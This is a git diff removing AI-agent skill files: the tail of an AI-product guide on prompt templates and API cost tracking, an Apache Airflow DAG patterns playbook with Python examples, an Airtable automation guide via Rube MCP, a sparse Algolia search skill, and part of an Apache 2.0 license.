-### Prompt Template Pattern
-```javascript
-const promptTemplates = {
- emailWriter: {
- system: `You are an expert email writer.
- Write professional, concise emails.
- Match the requested tone.
- Never include placeholder text.`,
- user: (input) => `Write an email:
- Purpose: ${input.purpose}
- Recipient: ${input.recipient}
- Tone: ${input.tone}
- Key points: ${input.points.join(', ')}
- Length: ${input.length} sentences`,
- },
-};
-```
-
-### Output Control
-```javascript
-// Force structured output
-const systemPrompt = `
- Always respond with valid JSON in this format:
- {
- "title": "string",
- "content": "string",
- "suggestions": ["string"]
- }
- Never include any text outside the JSON.
-`;
-
-// Parse with fallback
-function parseAIOutput(text) {
- try {
- return JSON.parse(text);
- } catch {
- // Fallback: extract JSON from response
- const match = text.match(/\{[\s\S]*\}/);
- if (match) return JSON.parse(match[0]);
- throw new Error('Invalid AI output');
- }
-}
-```
-
-### Quality Control
-| Technique | Purpose |
-|-----------|---------|
-| Examples in prompt | Guide output style |
-| Output format spec | Consistent structure |
-| Validation | Catch malformed responses |
-| Retry logic | Handle failures |
-| Fallback models | Reliability |
-```
-
-### Cost Management
-
-Controlling AI API costs
-
-**When to use**: When building profitable AI products
-
-```javascript
-## AI Cost Management
-
-### Token Economics
-```javascript
-// Track usage
-async function callWithCostTracking(userId, prompt) {
- const response = await anthropic.messages.create({...});
-
- // Log usage
- await db.usage.create({
- userId,
- inputTokens: response.usage.input_tokens,
- outputTokens: response.usage.output_tokens,
- cost: calculateCost(response.usage),
- model: 'claude-3-haiku',
- });
-
- return response;
-}
-
-function calculateCost(usage) {
- const rates = {
- 'claude-3-haiku': { input: 0.25, output: 1.25 }, // per 1M tokens
- };
- const rate = rates['claude-3-haiku'];
- return (usage.input_tokens * rate.input +
- usage.output_tokens * rate.output) / 1_000_000;
-}
-```
-
-### Cost Reduction Strategies
-| Strategy | Savings |
-|----------|---------|
-| Use cheaper models | 10-50x |
-| Limit output tokens | Variable |
-| Cache common queries | High |
-| Batch similar requests | Medium |
-| Truncate input | Variable |
-
-### Usage Limits
-```javascript
-async function checkUsageLimits(userId) {
- const usage = await db.usage.sum({
- where: {
- userId,
- createdAt: { gte: startOfMonth() }
- }
- });
-
- const limits = await getUserLimits(userId);
- if (usage.cost >= limits.monthlyCost) {
- throw new Error('Monthly limit reached');
- }
- return true;
-}
-```
-```
-
-## Anti-Patterns
-
-### ❌ Thin Wrapper Syndrome
-
-**Why bad**: No differentiation.
-Users just use ChatGPT.
-No pricing power.
-Easy to replicate.
-
-**Instead**: Add domain expertise.
-Perfect the UX for specific task.
-Integrate into workflows.
-Post-process outputs.
-
-### ❌ Ignoring Costs Until Scale
-
-**Why bad**: Surprise bills.
-Negative unit economics.
-Can't price properly.
-Business isn't viable.
-
-**Instead**: Track every API call.
-Know your cost per user.
-Set usage limits.
-Price with margin.
-
-### ❌ No Output Validation
-
-**Why bad**: AI hallucinates.
-Inconsistent formatting.
-Bad user experience.
-Trust issues.
-
-**Instead**: Validate all outputs.
-Parse structured responses.
-Have fallback handling.
-Post-process for consistency.
-
-## ⚠️ Sharp Edges
-
-| Issue | Severity | Solution |
-|-------|----------|----------|
-| AI API costs spiral out of control | high | ## Controlling AI Costs |
-| App breaks when hitting API rate limits | high | ## Handling Rate Limits |
-| AI gives wrong or made-up information | high | ## Handling Hallucinations |
-| AI responses too slow for good UX | medium | ## Improving AI Latency |
-
-## Related Skills
-
-Works well with: `llm-architect`, `micro-saas-launcher`, `frontend`, `backend`
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/airflow-dag-patterns/SKILL.md b/web-app/public/skills/airflow-dag-patterns/SKILL.md
deleted file mode 100644
index 4e285a72..00000000
--- a/web-app/public/skills/airflow-dag-patterns/SKILL.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-name: airflow-dag-patterns
-description: "Build production Apache Airflow DAGs with best practices for operators, sensors, testing, and deployment. Use when creating data pipelines, orchestrating workflows, or scheduling batch jobs."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Apache Airflow DAG Patterns
-
-Production-ready patterns for Apache Airflow including DAG design, operators, sensors, testing, and deployment strategies.
-
-## Use this skill when
-
-- Creating data pipeline orchestration with Airflow
-- Designing DAG structures and dependencies
-- Implementing custom operators and sensors
-- Testing Airflow DAGs locally
-- Setting up Airflow in production
-- Debugging failed DAG runs
-
-## Do not use this skill when
-
-- You only need a simple cron job or shell script
-- Airflow is not part of the tooling stack
-- The task is unrelated to workflow orchestration
-
-## Instructions
-
-1. Identify data sources, schedules, and dependencies.
-2. Design idempotent tasks with clear ownership and retries.
-3. Implement DAGs with observability and alerting hooks.
-4. Validate in staging and document operational runbooks.
-
-Refer to `resources/implementation-playbook.md` for detailed patterns, checklists, and templates.
-
-## Safety
-
-- Avoid changing production DAG schedules without approval.
-- Test backfills and retries carefully to prevent data duplication.
-
-## Resources
-
-- `resources/implementation-playbook.md` for detailed patterns, checklists, and templates.
diff --git a/web-app/public/skills/airflow-dag-patterns/resources/implementation-playbook.md b/web-app/public/skills/airflow-dag-patterns/resources/implementation-playbook.md
deleted file mode 100644
index f70daa35..00000000
--- a/web-app/public/skills/airflow-dag-patterns/resources/implementation-playbook.md
+++ /dev/null
@@ -1,509 +0,0 @@
-# Apache Airflow DAG Patterns Implementation Playbook
-
-This file contains detailed patterns, checklists, and code samples referenced by the skill.
-
-## Core Concepts
-
-### 1. DAG Design Principles
-
-| Principle | Description |
-|-----------|-------------|
-| **Idempotent** | Running twice produces same result |
-| **Atomic** | Tasks succeed or fail completely |
-| **Incremental** | Process only new/changed data |
-| **Observable** | Logs, metrics, alerts at every step |
-
-### 2. Task Dependencies
-
-```python
-# Linear
-task1 >> task2 >> task3
-
-# Fan-out
-task1 >> [task2, task3, task4]
-
-# Fan-in
-[task1, task2, task3] >> task4
-
-# Complex
-task1 >> task2 >> task4
-task1 >> task3 >> task4
-```
-
-## Quick Start
-
-```python
-# dags/example_dag.py
-from datetime import datetime, timedelta
-from airflow import DAG
-from airflow.operators.python import PythonOperator
-from airflow.operators.empty import EmptyOperator
-
-default_args = {
- 'owner': 'data-team',
- 'depends_on_past': False,
- 'email_on_failure': True,
- 'email_on_retry': False,
- 'retries': 3,
- 'retry_delay': timedelta(minutes=5),
- 'retry_exponential_backoff': True,
- 'max_retry_delay': timedelta(hours=1),
-}
-
-with DAG(
- dag_id='example_etl',
- default_args=default_args,
- description='Example ETL pipeline',
- schedule='0 6 * * *', # Daily at 6 AM
- start_date=datetime(2024, 1, 1),
- catchup=False,
- tags=['etl', 'example'],
- max_active_runs=1,
-) as dag:
-
- start = EmptyOperator(task_id='start')
-
- def extract_data(**context):
- execution_date = context['ds']
- # Extract logic here
- return {'records': 1000}
-
- extract = PythonOperator(
- task_id='extract',
- python_callable=extract_data,
- )
-
- end = EmptyOperator(task_id='end')
-
- start >> extract >> end
-```
-
-## Patterns
-
-### Pattern 1: TaskFlow API (Airflow 2.0+)
-
-```python
-# dags/taskflow_example.py
-from datetime import datetime
-from airflow.decorators import dag, task
-from airflow.models import Variable
-
-@dag(
- dag_id='taskflow_etl',
- schedule='@daily',
- start_date=datetime(2024, 1, 1),
- catchup=False,
- tags=['etl', 'taskflow'],
-)
-def taskflow_etl():
- """ETL pipeline using TaskFlow API"""
-
- @task()
- def extract(source: str) -> dict:
- """Extract data from source"""
- import pandas as pd
-
- df = pd.read_csv(f's3://bucket/{source}/{{ ds }}.csv')
- return {'data': df.to_dict(), 'rows': len(df)}
-
- @task()
- def transform(extracted: dict) -> dict:
- """Transform extracted data"""
- import pandas as pd
-
- df = pd.DataFrame(extracted['data'])
- df['processed_at'] = datetime.now()
- df = df.dropna()
- return {'data': df.to_dict(), 'rows': len(df)}
-
- @task()
- def load(transformed: dict, target: str):
- """Load data to target"""
- import pandas as pd
-
- df = pd.DataFrame(transformed['data'])
- df.to_parquet(f's3://bucket/{target}/{{ ds }}.parquet')
- return transformed['rows']
-
- @task()
- def notify(rows_loaded: int):
- """Send notification"""
- print(f'Loaded {rows_loaded} rows')
-
- # Define dependencies with XCom passing
- extracted = extract(source='raw_data')
- transformed = transform(extracted)
- loaded = load(transformed, target='processed_data')
- notify(loaded)
-
-# Instantiate the DAG
-taskflow_etl()
-```
-
-### Pattern 2: Dynamic DAG Generation
-
-```python
-# dags/dynamic_dag_factory.py
-from datetime import datetime, timedelta
-from airflow import DAG
-from airflow.operators.python import PythonOperator
-from airflow.models import Variable
-import json
-
-# Configuration for multiple similar pipelines
-PIPELINE_CONFIGS = [
- {'name': 'customers', 'schedule': '@daily', 'source': 's3://raw/customers'},
- {'name': 'orders', 'schedule': '@hourly', 'source': 's3://raw/orders'},
- {'name': 'products', 'schedule': '@weekly', 'source': 's3://raw/products'},
-]
-
-def create_dag(config: dict) -> DAG:
- """Factory function to create DAGs from config"""
-
- dag_id = f"etl_{config['name']}"
-
- default_args = {
- 'owner': 'data-team',
- 'retries': 3,
- 'retry_delay': timedelta(minutes=5),
- }
-
- dag = DAG(
- dag_id=dag_id,
- default_args=default_args,
- schedule=config['schedule'],
- start_date=datetime(2024, 1, 1),
- catchup=False,
- tags=['etl', 'dynamic', config['name']],
- )
-
- with dag:
- def extract_fn(source, **context):
- print(f"Extracting from {source} for {context['ds']}")
-
- def transform_fn(**context):
- print(f"Transforming data for {context['ds']}")
-
- def load_fn(table_name, **context):
- print(f"Loading to {table_name} for {context['ds']}")
-
- extract = PythonOperator(
- task_id='extract',
- python_callable=extract_fn,
- op_kwargs={'source': config['source']},
- )
-
- transform = PythonOperator(
- task_id='transform',
- python_callable=transform_fn,
- )
-
- load = PythonOperator(
- task_id='load',
- python_callable=load_fn,
- op_kwargs={'table_name': config['name']},
- )
-
- extract >> transform >> load
-
- return dag
-
-# Generate DAGs
-for config in PIPELINE_CONFIGS:
- globals()[f"dag_{config['name']}"] = create_dag(config)
-```
-
-### Pattern 3: Branching and Conditional Logic
-
-```python
-# dags/branching_example.py
-from airflow.decorators import dag, task
-from airflow.operators.python import BranchPythonOperator
-from airflow.operators.empty import EmptyOperator
-from airflow.utils.trigger_rule import TriggerRule
-
-@dag(
- dag_id='branching_pipeline',
- schedule='@daily',
- start_date=datetime(2024, 1, 1),
- catchup=False,
-)
-def branching_pipeline():
-
- @task()
- def check_data_quality() -> dict:
- """Check data quality and return metrics"""
- quality_score = 0.95 # Simulated
- return {'score': quality_score, 'rows': 10000}
-
- def choose_branch(**context) -> str:
- """Determine which branch to execute"""
- ti = context['ti']
- metrics = ti.xcom_pull(task_ids='check_data_quality')
-
- if metrics['score'] >= 0.9:
- return 'high_quality_path'
- elif metrics['score'] >= 0.7:
- return 'medium_quality_path'
- else:
- return 'low_quality_path'
-
- quality_check = check_data_quality()
-
- branch = BranchPythonOperator(
- task_id='branch',
- python_callable=choose_branch,
- )
-
- high_quality = EmptyOperator(task_id='high_quality_path')
- medium_quality = EmptyOperator(task_id='medium_quality_path')
- low_quality = EmptyOperator(task_id='low_quality_path')
-
- # Join point - runs after any branch completes
- join = EmptyOperator(
- task_id='join',
- trigger_rule=TriggerRule.NONE_FAILED_MIN_ONE_SUCCESS,
- )
-
- quality_check >> branch >> [high_quality, medium_quality, low_quality] >> join
-
-branching_pipeline()
-```
-
-### Pattern 4: Sensors and External Dependencies
-
-```python
-# dags/sensor_patterns.py
-from datetime import datetime, timedelta
-from airflow import DAG
-from airflow.sensors.filesystem import FileSensor
-from airflow.providers.amazon.aws.sensors.s3 import S3KeySensor
-from airflow.sensors.external_task import ExternalTaskSensor
-from airflow.operators.python import PythonOperator
-
-with DAG(
- dag_id='sensor_example',
- schedule='@daily',
- start_date=datetime(2024, 1, 1),
- catchup=False,
-) as dag:
-
- # Wait for file on S3
- wait_for_file = S3KeySensor(
- task_id='wait_for_s3_file',
- bucket_name='data-lake',
- bucket_key='raw/{{ ds }}/data.parquet',
- aws_conn_id='aws_default',
- timeout=60 * 60 * 2, # 2 hours
- poke_interval=60 * 5, # Check every 5 minutes
- mode='reschedule', # Free up worker slot while waiting
- )
-
- # Wait for another DAG to complete
- wait_for_upstream = ExternalTaskSensor(
- task_id='wait_for_upstream_dag',
- external_dag_id='upstream_etl',
- external_task_id='final_task',
- execution_date_fn=lambda dt: dt, # Same execution date
- timeout=60 * 60 * 3,
- mode='reschedule',
- )
-
- # Custom sensor using @task.sensor decorator
- @task.sensor(poke_interval=60, timeout=3600, mode='reschedule')
- def wait_for_api() -> PokeReturnValue:
- """Custom sensor for API availability"""
- import requests
-
- response = requests.get('https://api.example.com/health')
- is_done = response.status_code == 200
-
- return PokeReturnValue(is_done=is_done, xcom_value=response.json())
-
- api_ready = wait_for_api()
-
- def process_data(**context):
- api_result = context['ti'].xcom_pull(task_ids='wait_for_api')
- print(f"API returned: {api_result}")
-
- process = PythonOperator(
- task_id='process',
- python_callable=process_data,
- )
-
- [wait_for_file, wait_for_upstream, api_ready] >> process
-```
-
-### Pattern 5: Error Handling and Alerts
-
-```python
-# dags/error_handling.py
-from datetime import datetime, timedelta
-from airflow import DAG
-from airflow.operators.python import PythonOperator
-from airflow.utils.trigger_rule import TriggerRule
-from airflow.models import Variable
-
-def task_failure_callback(context):
- """Callback on task failure"""
- task_instance = context['task_instance']
- exception = context.get('exception')
-
- # Send to Slack/PagerDuty/etc
- message = f"""
- Task Failed!
- DAG: {task_instance.dag_id}
- Task: {task_instance.task_id}
- Execution Date: {context['ds']}
- Error: {exception}
- Log URL: {task_instance.log_url}
- """
- # send_slack_alert(message)
- print(message)
-
-def dag_failure_callback(context):
- """Callback on DAG failure"""
- # Aggregate failures, send summary
- pass
-
-with DAG(
- dag_id='error_handling_example',
- schedule='@daily',
- start_date=datetime(2024, 1, 1),
- catchup=False,
- on_failure_callback=dag_failure_callback,
- default_args={
- 'on_failure_callback': task_failure_callback,
- 'retries': 3,
- 'retry_delay': timedelta(minutes=5),
- },
-) as dag:
-
- def might_fail(**context):
- import random
- if random.random() < 0.3:
- raise ValueError("Random failure!")
- return "Success"
-
- risky_task = PythonOperator(
- task_id='risky_task',
- python_callable=might_fail,
- )
-
- def cleanup(**context):
- """Cleanup runs regardless of upstream failures"""
- print("Cleaning up...")
-
- cleanup_task = PythonOperator(
- task_id='cleanup',
- python_callable=cleanup,
- trigger_rule=TriggerRule.ALL_DONE, # Run even if upstream fails
- )
-
- def notify_success(**context):
- """Only runs if all upstream succeeded"""
- print("All tasks succeeded!")
-
- success_notification = PythonOperator(
- task_id='notify_success',
- python_callable=notify_success,
- trigger_rule=TriggerRule.ALL_SUCCESS,
- )
-
- risky_task >> [cleanup_task, success_notification]
-```
-
-### Pattern 6: Testing DAGs
-
-```python
-# tests/test_dags.py
-import pytest
-from datetime import datetime
-from airflow.models import DagBag
-
-@pytest.fixture
-def dagbag():
- return DagBag(dag_folder='dags/', include_examples=False)
-
-def test_dag_loaded(dagbag):
- """Test that all DAGs load without errors"""
- assert len(dagbag.import_errors) == 0, f"DAG import errors: {dagbag.import_errors}"
-
-def test_dag_structure(dagbag):
- """Test specific DAG structure"""
- dag = dagbag.get_dag('example_etl')
-
- assert dag is not None
- assert len(dag.tasks) == 3
- assert dag.schedule_interval == '0 6 * * *'
-
-def test_task_dependencies(dagbag):
- """Test task dependencies are correct"""
- dag = dagbag.get_dag('example_etl')
-
- extract_task = dag.get_task('extract')
- assert 'start' in [t.task_id for t in extract_task.upstream_list]
- assert 'end' in [t.task_id for t in extract_task.downstream_list]
-
-def test_dag_integrity(dagbag):
- """Test DAG has no cycles and is valid"""
- for dag_id, dag in dagbag.dags.items():
- assert dag.test_cycle() is None, f"Cycle detected in {dag_id}"
-
-# Test individual task logic
-def test_extract_function():
- """Unit test for extract function"""
- from dags.example_dag import extract_data
-
- result = extract_data(ds='2024-01-01')
- assert 'records' in result
- assert isinstance(result['records'], int)
-```
-
-## Project Structure
-
-```
-airflow/
-├── dags/
-│ ├── __init__.py
-│ ├── common/
-│ │ ├── __init__.py
-│ │ ├── operators.py # Custom operators
-│ │ ├── sensors.py # Custom sensors
-│ │ └── callbacks.py # Alert callbacks
-│ ├── etl/
-│ │ ├── customers.py
-│ │ └── orders.py
-│ └── ml/
-│ └── training.py
-├── plugins/
-│ └── custom_plugin.py
-├── tests/
-│ ├── __init__.py
-│ ├── test_dags.py
-│ └── test_operators.py
-├── docker-compose.yml
-└── requirements.txt
-```
-
-## Best Practices
-
-### Do's
-- **Use TaskFlow API** - Cleaner code, automatic XCom
-- **Set timeouts** - Prevent zombie tasks
-- **Use `mode='reschedule'`** - For sensors, free up workers
-- **Test DAGs** - Unit tests and integration tests
-- **Idempotent tasks** - Safe to retry
-
-### Don'ts
-- **Don't use `depends_on_past=True`** - Creates bottlenecks
-- **Don't hardcode dates** - Use `{{ ds }}` macros
-- **Don't use global state** - Tasks should be stateless
-- **Don't skip catchup blindly** - Understand implications
-- **Don't put heavy logic in DAG file** - Import from modules
-
-## Resources
-
-- [Airflow Documentation](https://airflow.apache.org/docs/)
-- [Astronomer Guides](https://docs.astronomer.io/learn)
-- [TaskFlow API](https://airflow.apache.org/docs/apache-airflow/stable/tutorial/taskflow.html)
diff --git a/web-app/public/skills/airtable-automation/SKILL.md b/web-app/public/skills/airtable-automation/SKILL.md
deleted file mode 100644
index 91b46786..00000000
--- a/web-app/public/skills/airtable-automation/SKILL.md
+++ /dev/null
@@ -1,174 +0,0 @@
----
-name: airtable-automation
-description: "Automate Airtable tasks via Rube MCP (Composio): records, bases, tables, fields, views. Always search tools first for current schemas."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Airtable Automation via Rube MCP
-
-Automate Airtable operations through Composio's Airtable toolkit via Rube MCP.
-
-## Prerequisites
-
-- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
-- Active Airtable connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `airtable`
-- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
-
-## Setup
-
-**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
-
-
-1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
-2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `airtable`
-3. If connection is not ACTIVE, follow the returned auth link to complete Airtable auth
-4. Confirm connection status shows ACTIVE before running any workflows
-
-## Core Workflows
-
-### 1. Create and Manage Records
-
-**When to use**: User wants to create, read, update, or delete records
-
-**Tool sequence**:
-1. `AIRTABLE_LIST_BASES` - Discover available bases [Prerequisite]
-2. `AIRTABLE_GET_BASE_SCHEMA` - Inspect table structure [Prerequisite]
-3. `AIRTABLE_LIST_RECORDS` - List/filter records [Optional]
-4. `AIRTABLE_CREATE_RECORD` / `AIRTABLE_CREATE_RECORDS` - Create records [Optional]
-5. `AIRTABLE_UPDATE_RECORD` / `AIRTABLE_UPDATE_MULTIPLE_RECORDS` - Update records [Optional]
-6. `AIRTABLE_DELETE_RECORD` / `AIRTABLE_DELETE_MULTIPLE_RECORDS` - Delete records [Optional]
-
-**Key parameters**:
-- `baseId`: Base ID (starts with 'app', e.g., 'appXXXXXXXXXXXXXX')
-- `tableIdOrName`: Table ID (starts with 'tbl') or table name
-- `fields`: Object mapping field names to values
-- `recordId`: Record ID (starts with 'rec') for updates/deletes
-- `filterByFormula`: Airtable formula for filtering
-- `typecast`: Set true for automatic type conversion
-
-**Pitfalls**:
-- pageSize capped at 100; uses offset pagination; changing filters between pages can skip/duplicate rows
-- CREATE_RECORDS hard limit of 10 records per request; chunk larger imports
-- Field names are CASE-SENSITIVE and must match schema exactly
-- 422 UNKNOWN_FIELD_NAME when field names are wrong; 403 for permission issues
-- INVALID_MULTIPLE_CHOICE_OPTIONS may require typecast=true
-
-### 2. Search and Filter Records
-
-**When to use**: User wants to find specific records using formulas
-
-**Tool sequence**:
-1. `AIRTABLE_GET_BASE_SCHEMA` - Verify field names and types [Prerequisite]
-2. `AIRTABLE_LIST_RECORDS` - Query with filterByFormula [Required]
-3. `AIRTABLE_GET_RECORD` - Get full record details [Optional]
-
-**Key parameters**:
-- `filterByFormula`: Airtable formula (e.g., `{Status}='Done'`)
-- `sort`: Array of sort objects
-- `fields`: Array of field names to return
-- `maxRecords`: Max total records across all pages
-- `offset`: Pagination cursor from previous response
-
-**Pitfalls**:
-- Field names in formulas must be wrapped in `{}` and match schema exactly
-- String values must be quoted: `{Status}='Active'` not `{Status}=Active`
-- 422 INVALID_FILTER_BY_FORMULA for bad syntax or non-existent fields
-- Airtable rate limit: ~5 requests/second per base; handle 429 with Retry-After
-
-### 3. Manage Fields and Schema
-
-**When to use**: User wants to create or modify table fields
-
-**Tool sequence**:
-1. `AIRTABLE_GET_BASE_SCHEMA` - Inspect current schema [Prerequisite]
-2. `AIRTABLE_CREATE_FIELD` - Create a new field [Optional]
-3. `AIRTABLE_UPDATE_FIELD` - Rename/describe a field [Optional]
-4. `AIRTABLE_UPDATE_TABLE` - Update table metadata [Optional]
-
-**Key parameters**:
-- `name`: Field name
-- `type`: Field type (singleLineText, number, singleSelect, etc.)
-- `options`: Type-specific options (choices for select, precision for number)
-- `description`: Field description
-
-**Pitfalls**:
-- UPDATE_FIELD only changes name/description, NOT type/options; create a replacement field and migrate
-- Computed fields (formula, rollup, lookup) cannot be created via API
-- 422 when type options are missing or malformed
-
-### 4. Manage Comments
-
-**When to use**: User wants to view or add comments on records
-
-**Tool sequence**:
-1. `AIRTABLE_LIST_COMMENTS` - List comments on a record [Required]
-
-**Key parameters**:
-- `baseId`: Base ID
-- `tableIdOrName`: Table identifier
-- `recordId`: Record ID (17 chars, starts with 'rec')
-- `pageSize`: Comments per page (max 100)
-
-**Pitfalls**:
-- Record IDs must be exactly 17 characters starting with 'rec'
-
-## Common Patterns
-
-### Airtable Formula Syntax
-
-**Comparison**:
-- `{Status}='Done'` - Equals
-- `{Priority}>1` - Greater than
-- `{Name}!=''` - Not empty
-
-**Functions**:
-- `AND({A}='x', {B}='y')` - Both conditions
-- `OR({A}='x', {A}='y')` - Either condition
-- `FIND('test', {Name})>0` - Contains text
-- `IS_BEFORE({Due Date}, TODAY())` - Date comparison
-
-**Escape rules**:
-- Single quotes in values: double them (`{Name}='John''s Company'`)
-
-### Pagination
-
-- Set `pageSize` (max 100)
-- Check response for `offset` string
-- Pass `offset` to next request unchanged
-- Keep filters/sorts/view stable between pages
-
-## Known Pitfalls
-
-**ID Formats**:
-- Base IDs: `appXXXXXXXXXXXXXX` (17 chars)
-- Table IDs: `tblXXXXXXXXXXXXXX` (17 chars)
-- Record IDs: `recXXXXXXXXXXXXXX` (17 chars)
-- Field IDs: `fldXXXXXXXXXXXXXX` (17 chars)
-
-**Batch Limits**:
-- CREATE_RECORDS: max 10 per request
-- UPDATE_MULTIPLE_RECORDS: max 10 per request
-- DELETE_MULTIPLE_RECORDS: max 10 per request
-
-## Quick Reference
-
-| Task | Tool Slug | Key Params |
-|------|-----------|------------|
-| List bases | AIRTABLE_LIST_BASES | (none) |
-| Get schema | AIRTABLE_GET_BASE_SCHEMA | baseId |
-| List records | AIRTABLE_LIST_RECORDS | baseId, tableIdOrName |
-| Get record | AIRTABLE_GET_RECORD | baseId, tableIdOrName, recordId |
-| Create record | AIRTABLE_CREATE_RECORD | baseId, tableIdOrName, fields |
-| Create records | AIRTABLE_CREATE_RECORDS | baseId, tableIdOrName, records |
-| Update record | AIRTABLE_UPDATE_RECORD | baseId, tableIdOrName, recordId, fields |
-| Update records | AIRTABLE_UPDATE_MULTIPLE_RECORDS | baseId, tableIdOrName, records |
-| Delete record | AIRTABLE_DELETE_RECORD | baseId, tableIdOrName, recordId |
-| Create field | AIRTABLE_CREATE_FIELD | baseId, tableIdOrName, name, type |
-| Update field | AIRTABLE_UPDATE_FIELD | baseId, tableIdOrName, fieldId |
-| Update table | AIRTABLE_UPDATE_TABLE | baseId, tableIdOrName, name |
-| List comments | AIRTABLE_LIST_COMMENTS | baseId, tableIdOrName, recordId |
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/algolia-search/SKILL.md b/web-app/public/skills/algolia-search/SKILL.md
deleted file mode 100644
index 73647c0d..00000000
--- a/web-app/public/skills/algolia-search/SKILL.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-name: algolia-search
-description: "Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality."
-risk: unknown
-source: "vibeship-spawner-skills (Apache 2.0)"
-date_added: "2026-02-27"
----
-
-# Algolia Search Integration
-
-## Patterns
-
-### React InstantSearch with Hooks
-
-Modern React InstantSearch setup using hooks for type-ahead search.
-
-Uses react-instantsearch-hooks-web package with algoliasearch client.
-Widgets are components that can be customized with classnames.
-
-Key hooks:
-- useSearchBox: Search input handling
-- useHits: Access search results
-- useRefinementList: Facet filtering
-- usePagination: Result pagination
-- useInstantSearch: Full state access
-
-
-### Next.js Server-Side Rendering
-
-SSR integration for Next.js with react-instantsearch-nextjs package.
-
-Use instead of for SSR.
-Supports both Pages Router and App Router (experimental).
-
-Key considerations:
-- Set dynamic = 'force-dynamic' for fresh results
-- Handle URL synchronization with routing prop
-- Use getServerState for initial state
-
-
-### Data Synchronization and Indexing
-
-Indexing strategies for keeping Algolia in sync with your data.
-
-Three main approaches:
-1. Full Reindexing - Replace entire index (expensive)
-2. Full Record Updates - Replace individual records
-3. Partial Updates - Update specific attributes only
-
-Best practices:
-- Batch records (ideal: 10MB, 1K-10K records per batch)
-- Use incremental updates when possible
-- partialUpdateObjects for attribute-only changes
-- Avoid deleteBy (computationally expensive)
-
-
-## ⚠️ Sharp Edges
-
-| Issue | Severity | Solution |
-|-------|----------|----------|
-| Issue | critical | See docs |
-| Issue | high | See docs |
-| Issue | medium | See docs |
-| Issue | medium | See docs |
-| Issue | medium | See docs |
-| Issue | medium | See docs |
-| Issue | medium | See docs |
-| Issue | medium | See docs |
-
-## When to Use
-This skill is applicable to execute the workflow or actions described in the overview.
diff --git a/web-app/public/skills/algorithmic-art/LICENSE.txt b/web-app/public/skills/algorithmic-art/LICENSE.txt
deleted file mode 100644
index 7a4a3ea2..00000000
--- a/web-app/public/skills/algorithmic-art/LICENSE.txt
+++ /dev/null
@@ -1,202 +0,0 @@
-
- Apache License
- Version 2.0, January 2004
- http://www.apache.org/licenses/
-
- TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
- 1. Definitions.
-
- "License" shall mean the terms and conditions for use, reproduction,
- and distribution as defined by Sections 1 through 9 of this document.
-
- "Licensor" shall mean the copyright owner or entity authorized by
- the copyright owner that is granting the License.
-
- "Legal Entity" shall mean the union of the acting entity and all
- other entities that control, are controlled by, or are under common
- control with that entity. For the purposes of this definition,
- "control" means (i) the power, direct or indirect, to cause the
- direction or management of such entity, whether by contract or
- otherwise, or (ii) ownership of fifty percent (50%) or more of the
- outstanding shares, or (iii) beneficial ownership of such entity.
-
- "You" (or "Your") shall mean an individual or Legal Entity
- exercising permissions granted by this License.
-
- "Source" form shall mean the preferred form for making modifications,
- including but not limited to software source code, documentation
- source, and configuration files.
-
- "Object" form shall mean any form resulting from mechanical
- transformation or translation of a Source form, including but
- not limited to compiled object code, generated documentation,
- and conversions to other media types.
-
- "Work" shall mean the work of authorship, whether in Source or
- Object form, made available under the License, as indicated by a
- copyright notice that is included in or attached to the work
- (an example is provided in the Appendix below).
-
- "Derivative Works" shall mean any work, whether in Source or Object
- form, that is based on (or derived from) the Work and for which the
- editorial revisions, annotations, elaborations, or other modifications
- represent, as a whole, an original work of authorship. For the purposes
- of this License, Derivative Works shall not include works that remain
- separable from, or merely link (or bind by name) to the interfaces of,
- the Work and Derivative Works thereof.
-
- "Contribution" shall mean any work of authorship, including
- the original version of the Work and any modifications or additions
- to that Work or Derivative Works thereof, that is intentionally
- submitted to Licensor for inclusion in the Work by the copyright owner
- or by an individual or Legal Entity authorized to submit on behalf of
- the copyright owner. For the purposes of this definition, "submitted"
- means any form of electronic, verbal, or written communication sent
- to the Licensor or its representatives, including but not limited to
- communication on electronic mailing lists, source code control systems,
- and issue tracking systems that are managed by, or on behalf of, the
- Licensor for the purpose of discussing and improving the Work, but
- excluding communication that is conspicuously marked or otherwise
- designated in writing by the copyright owner as "Not a Contribution."
-
- "Contributor" shall mean Licensor and any individual or Legal Entity
- on behalf of whom a Contribution has been received by Licensor and
- subsequently incorporated within the Work.
-
- 2. Grant of Copyright License. Subject to the terms and conditions of
- this License, each Contributor hereby grants to You a perpetual,
- worldwide, non-exclusive, no-charge, royalty-free, irrevocable
- copyright license to reproduce, prepare Derivative Works of,
- publicly display, publicly perform, sublicense, and distribute the
- Work and such Derivative Works in Source or Object form.
-
- 3. Grant of Patent License. Subject to the terms and conditions of
- this License, each Contributor hereby grants to You a perpetual,
- worldwide, non-exclusive, no-charge, royalty-free, irrevocable
- (except as stated in this section) patent license to make, have made,
- use, offer to sell, sell, import, and otherwise transfer the Work,
- where such license applies only to those patent claims licensable
- by such Contributor that are necessarily infringed by their
- Contribution(s) alone or by combination of their Contribution(s)
- with the Work to which such Contribution(s) was submitted. If You
- institute patent litigation against any entity (including a
- cross-claim or counterclaim in a lawsuit) alleging that the Work
- or a Contribution incorporated within the Work constitutes direct
- or contributory patent infringement, then any patent licenses
- granted to You under this License for that Work shall terminate
- as of the date such litigation is filed.
-
- 4. Redistribution. You may reproduce and distribute copies of the
- Work or Derivative Works thereof in any medium, with or without
- modifications, and in Source or Object form, provided that You
- meet the following conditions:
-
- (a) You must give any other recipients of the Work or
- Derivative Works a copy of this License; and
-
- (b) You must cause any modified files to carry prominent notices
- stating that You changed the files; and
-
- (c) You must retain, in the Source form of any Derivative Works
- that You distribute, all copyright, patent, trademark, and
